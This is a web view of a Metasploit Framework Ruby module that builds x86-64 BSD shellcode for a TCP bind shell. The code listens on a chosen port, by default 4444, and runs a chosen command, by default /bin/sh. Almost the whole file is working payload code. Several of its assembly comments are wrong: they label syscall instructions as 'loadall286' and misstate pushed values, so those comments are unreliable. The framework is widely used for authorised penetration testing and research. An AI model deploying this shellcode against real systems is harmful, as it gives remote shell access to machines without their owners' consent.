CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 136
10
11
include Msf::Payload::Single
12
include Msf::Payload::Bsd
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'BSD x64 Shell Bind TCP',
18
'Description' => 'Bind an arbitrary command to an arbitrary port',
19
'Author' => [
20
'nemo <nemo[at]felinemenace.org>',
21
'joev'
22
],
23
'License' => MSF_LICENSE,
24
'Platform' => 'bsd',
25
'Arch' => ARCH_X64,
26
'Handler' => Msf::Handler::BindTcp,
27
'Session' => Msf::Sessions::CommandShellUnix
28
))
29
30
# exec payload options
31
register_options(
32
[
33
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
34
Opt::LPORT(4444)
35
])
36
end
37
38
# build the shellcode payload dynamically based on the user-provided CMD
39
def generate(_opts = {})
40
cmd = (datastore['CMD'] || '') + "\x00"
41
port = [datastore['LPORT'].to_i].pack('n')
42
call = "\xe8" + [cmd.length].pack('V')
43
payload =
44
"\x31\xc0" + # xor eax,eax
45
"\x83\xc0\x61" + # add eax,0x61
46
"\x6A\x02" + # push byte 0x1
47
"\x5f" + # pop rdi
48
"\x6A\x01" + # push byte 0x1
49
"\x5e" + # pop rsi
50
"\x48\x31\xD2" + # xor rdx,rdx
51
"\x0F\x05" + # loadall286
52
"\x48\x89\xC7" + # mov rdi,rax
53
"\x31\xc0" + # xor eax,eax
54
"\x83\xc0\x68" + # add eax,0x68
55
"\x48\x31\xF6" + # xor rsi,rsi
56
"\x56" + # push rsi
57
"\xBE\x00\x02" + port + # mov esi,0xb3150200
58
"\x56" + # push rsi
59
"\x48\x89\xE6" + # mov rsi,rsp
60
"\x6A\x10" + # push 0x10
61
"\x5A" + # pop rdx
62
"\x0F\x05" + # loadall286
63
"\x31\xc0" + # xor eax,eax
64
"\x83\xc0\x6A" + # add eax,0x6a
65
"\x48\x31\xF6" + # xor rsi,rsi
66
"\x48\xFF\xC6" + # inc rsi
67
"\x49\x89\xFC" + # mov r12,rdi
68
"\x0F\x05" + # loadall286
69
"\x31\xc0" + # xor eax,eax
70
"\x83\xc0\x1E" + # add eax,0x1e
71
"\x4C\x89\xE7" + # mov rdi,r12
72
"\x48\x89\xE6" + # mov rsi,rsp
73
"\x48\x89\xE2" + # mov rdx,rsp
74
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
75
"\x0F\x05" + # loadall286
76
"\x48\x89\xC7" + # mov rdi,rax
77
"\x31\xc0" + # xor eax,eax
78
"\x83\xc0\x5A" + # add eax,0x5a
79
"\x48\x31\xF6" + # xor rsi,rsi
80
"\x0F\x05" + # loadall286
81
"\x31\xc0" + # xor eax,eax
82
"\x83\xc0\x5A" + # add eax,0x5a
83
"\x48\xFF\xC6" + # inc rsi
84
"\x0F\x05" + # loadall286
85
"\x48\x31\xC0" + # xor rax,rax
86
"\x31\xc0" + # xor eax,eax
87
"\x83\xc0\x3b" + # add eax,0x3b
88
call + # call CMD.len
89
cmd + # CMD
90
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
91
"\x48\x31\xD2" + # xor rdx,rdx
92
"\x52" + # push rdx
93
"\x57" + # push rdi
94
"\x48\x89\xE6" + # mov rsi,rsp
95
"\x0F\x05" # loadall286
96
end
97
end
98
99